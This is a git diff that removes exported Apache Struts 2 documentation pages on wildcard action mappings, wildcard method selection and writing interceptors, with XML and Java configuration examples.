-      &lt;param name="id"&gt;{1}&lt;/param&gt; 
-    &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See also <a shape="rect" href="action-configuration.html">Wildcard Method</a></p>
-
-<h2 id="WildcardMappings-Parametersinnamespaces">Parameters in namespaces</h2>
-<p>From Struts 2.1+ namespace patterns can be extracted as request parameters and bound to the action. To enable this feature, set the following constant in struts.xml:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.patternMatcher" value="namedVariable"/&gt;
-</pre>
-</div></div>
-
-<p>With that in place, namespace definitions can contain {PARAM_NAME} patterns which will be evaluated against the request URL and extracted as parameters, for example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-@Namespace{"/users/{userID}");
-public class DetailsAction exends ActionSupport {
-  private Long userID;
-  public void setUserID(Long userID) {...}
-}
-</pre>
-</div></div>
-<p>If the request URL is <em>/users/10/detail</em>, then the DetailsAction will be executed and its userID field will be set to <em>10</em>. </p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Only one PatternMatcher implementation can be used at a time.  The two implementations included with Struts 2 are mutually exclusive.  You cannot use Wildcards and Named Variable patterns at the same application (if that were required, you'd need to create a custom PatternMatcher implementation).</p>
-
-<p>Some tags tags not are 100% compatible with variables in the namespace. For instance, they may write the literal namespace into the HTML (eg /{user}/2w) instead of the path used in the request (ie. /brett/24).  This usually affects attributes that attempt to guess the namespace of an action (eg. Form tag, Action tag, action=). This problem can be avoided by using HTML tags directly with relative paths or explicit URLs.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Similar functionality can also be implemented using a custom ActionMapper.  The ActionMapper will need to parse the namespace and request itself to set parameters on the matched action.  The default ActonMapper is responsible for invoking the PatternMatcher.</p></div></div>
-
-<h2 id="WildcardMappings-Parametersaftertheactionname">Parameters after the action name</h2>
-<p>To use parameters in the URL, after the action name, make sure this is set:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.enable.SlashesInActionNames" value="true"/&gt;
-&lt;constant name="struts.mapper.alwaysSelectFullNamespace" value="false"/&gt;
-</pre>
-</div></div>
-<p>Then the action mapping will look like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="edit" extends="struts-default" namespace="/edit"&gt;
-    &lt;action name="/person/*" class="org.apache.struts.webapp.example.EditAction"&gt;
-        &lt;param name="id"&gt;{1}&lt;/param&gt;
-        &lt;result&gt;/mainMenu.jsp&lt;/result&gt;
-    &lt;/action&gt;   
-&lt;/package&gt;
-</pre>
-</div></div>
-<p>When a URL like <code>/edit/person/123</code> is requested, EditAction will be called, and its "id" field will be set to 123. </p>
-
-<h2 id="WildcardMappings-AdvancedWildcards">Advanced Wildcards</h2>
-<p>From 2.1.9+ regular expressions can be defined defined in the action name. To use this form of wild card, the following constants must be set:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.enable.SlashesInActionNames" value="true"/&gt;
-&lt;constant name="struts.mapper.alwaysSelectFullNamespace" value="false"/&gt;
-&lt;constant name="struts.patternMatcher" value="regex" /&gt;
-</pre>
-</div></div>
-
-<p>The regular expressions can be in two forms, the simplest one is {FIELD_NAME}, in which case the field with the FIELD_NAME in the action will be populated with the matched text, for example:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="books" extends="struts-default" namespace="/"&gt;
-    &lt;action name="/{type}/content/{title}" class="example.BookAction"&gt;
-	&lt;result&gt;/books/content.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div>
-<p>In this example, if the url <code>/fiction/content/Frankenstein</code> is requested, BookAction's field "type" will be set to "fiction", and the field "title" will be set to "Frankenstein". </p>
-
-<p>The regular expression can also be in the form {FIELD_NAME:REGULAR_EXPRESSION}. The regular expression is a normal Java regular expression. For example:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="books" extends="struts-default" namespace="/"&gt;
-    &lt;action name="/{type}/{author:.+}/list" class="example.ListBooksAction"&gt;
-	&lt;result&gt;/books/list.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div>
-<p>In this example, if the url <code>/philosophy/AynRand/list</code> is requested, ListBooksAction's field "type" will be set to "philosophy" and "author" to "AynRand". </p>
-
-<p>The matched groups can still be accessed using the {X} notation, like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="books" extends="struts-default" namespace="/"&gt;
-    &lt;action name="/books/{ISBN}/content" class="example.BookAction"&gt;
-	&lt;result&gt;/books/{1}.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<h2 id="WildcardMappings-Next:">Next: <a shape="rect" href="application-servers.html">Application Servers</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/wildcard-method-selection.data/Screen-shot-2010-05-30-at-8.51.40-AM.png b/content/docs/wildcard-method-selection.data/Screen-shot-2010-05-30-at-8.51.40-AM.png
deleted file mode 100644
index 5678a53..0000000
Binary files a/content/docs/wildcard-method-selection.data/Screen-shot-2010-05-30-at-8.51.40-AM.png and /dev/null differ
diff --git a/content/docs/wildcard-method-selection.html b/content/docs/wildcard-method-selection.html
deleted file mode 100644
index e807655..0000000
--- a/content/docs/wildcard-method-selection.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Wildcard Method Selection</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="wildcard-method-selection.html">Wildcard Method Selection</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Wildcard Method Selection</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=21791589">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=21791589">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=21791589">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=21791589">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=21791589">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=21791589">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, wildcard_method_selection, is available for checkout at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/st [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="createPerson" class="org.apache.struts.tutorials.wildcardmethod.action.PersonAction" method="create"&gt;
-  &lt;result name="input"&gt;input.jsp&lt;/result&gt;
-  &lt;result name="success"&gt;view.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;action name="editPerson" class="org.apache.struts.tutorials.wildcardmethod.action.PersonAction" method="edit"&gt;
-  &lt;result name="input"&gt;input.jsp&lt;/result&gt;
-  &lt;result name="success"&gt;view.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-</pre>
-</div></div><p>So even for this simple application, I'd have to write four separate action mapping nodes (create, edit, delete, saveOrUpdate) in the configuration file. So you can easily see that a more complex application can have dozens of action mapping nodes.</p><p>To implement the wildcard method selection technique to enable the Struts 2 framework to dynamically select the correct method to call at runtime you just need to use the wildcard character, *, in your name value and an at [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="*Person" class="org.apache.struts.tutorials.wildcardmethod.action.PersonAction" method="{1}"&gt;
-  &lt;result name="success"&gt;view.jsp&lt;/result&gt;
-  &lt;result name="input"&gt;input.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-</pre>
-</div></div><p>The * is the wildcard character. Any action name values that end in "Person" will be handled by this action mapping. Whatever value is before "Person" will be the value used for the method attribute (the {1} place holder will be replaced with that value). For example this URL:</p><p><a shape="rect" class="external-link" href="http://localhost:8080/wildcard-method-selection/createPerson.action" rel="nofollow">http://localhost:8080/wildcard-method-selection/createPerson.acti [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/writing-interceptors.html b/content/docs/writing-interceptors.html
deleted file mode 100644
index 64845f2..0000000
--- a/content/docs/writing-interceptors.html
+++ /dev/null
@@ -1,232 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Writing Interceptors</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="writing-interceptors.html">Writing Interceptors</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Writing Interceptors</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45615">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45615">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45615">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45615">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45615">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45615">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>See the <a shape="rect" href="interceptors.html">Interceptors</a> page for an overview of how interceptors work.</p>
-
-<h3 id="WritingInterceptors-Interceptorinterface">Interceptor interface</h3>
-
-<p>Interceptors must implement the com.opensymphony.xwork2.interceptor.Interceptor interface.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Interceptor.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public interface Interceptor extends Serializable {
-
-    void destroy();
-
-    void init();
-
-    String intercept(ActionInvocation invocation) throws Exception;
-}
-</pre>
-</div></div>
-
-<p>The <em>init</em> method is called the after interceptor is instantiated and before calling <em>intercept</em>. This is the place to allocate any resources used by the interceptor.</p>
-
-<p>The <em>intercept</em> method is where the interceptor code is written. Just like an action method, <em>intercept</em> returns a result used by Struts to forward the request to another web resource. Calling <em>invoke</em> on the parameter of type ActionInvocation will execute the action (if this is the last interceptor on the stack) or another interceptor.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Keep in mind that <em>invoke</em> will return <strong>after</strong> the result has been called (eg. after you JSP has been rendered), making it perfect for things like open-session-in-view patterns. If you want to do something before the result gets called, you sho [...]
-
-<p>Overwrite <em>destroy</em> to release resources on application shutdown.</p>
-
-<h3 id="WritingInterceptors-ThreadSafety">Thread Safety</h3>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>Interceptors must be thread-safe!</strong></p>
-
-<p>A Struts 2 Action instance is created for every request and do not need to be thread-safe. Conversely, Interceptors are shared between requests and must be <a shape="rect" class="external-link" href="http://en.wikipedia.org/wiki/Thread-safety" rel="nofollow">thread-safe</a>. </p></div></div>
-
-<h3 id="WritingInterceptors-AbstractInterceptor">AbstractInterceptor</h3>
-
-<p>The AbstractInterceptor class provides an empty implementation of <em>init</em> and <em>destroy</em>, and can be used if these methods are not going to be implemented.</p>
-
-<h3 id="WritingInterceptors-Mapping">Mapping</h3>
-
-<p>Interceptors are declared using the <em>interceptor</em> element, nested inside the <em>interceptors</em> element. Example from struts-default.xml:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-   ...
-
-   &lt;package name="struts-default"&gt;
-      &lt;interceptors&gt;
-         &lt;interceptor name="alias" class="com.opensymphony.xwork2.interceptor.AliasInterceptor"/&gt;
-         &lt;interceptor name="autowiring" class="com.opensymphony.xwork2.spring.interceptor.ActionAutowiringInterceptor"/&gt;
-         ...
-      &lt;/interceptors&gt;
-   &lt;/package&gt;
-
-   ...
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<h3 id="WritingInterceptors-Example">Example</h3>
-
-<p>Assuming there is an action of type "MyAction", with a setDate(Date) method, this simple interceptor will set the date of the action to the current date:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Interceptor Example</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import com.opensymphony.xwork2.ActionInvocation;
-import com.opensymphony.xwork2.interceptor.AbstractInterceptor;
-
-public class SimpleInterceptor extends AbstractInterceptor {
-
-    public String intercept(ActionInvocation invocation) throws Exception {
-       MyAction action = (MyAction)invocation.getAction();
-       action.setDate(new Date());
-       return invocation.invoke();
-    }
-}
-</pre>
-</div></div>
-
-<h2 id="WritingInterceptors-Next:">Next: <a shape="rect" href="action-chaining.html">Action Chaining</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/xhtml-form-template.html b/content/docs/xhtml-form-template.html
deleted file mode 100644
index 1a00efa..0000000
--- a/content/docs/xhtml-form-template.html
+++ /dev/null
@@ -1,232 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>xhtml form template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="xhtml-theme.html">xhtml theme</a>&nbsp;&gt;&nbsp;<a href="xhtml-form-template.html">xhtml form template</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">xhtml form template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13909">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
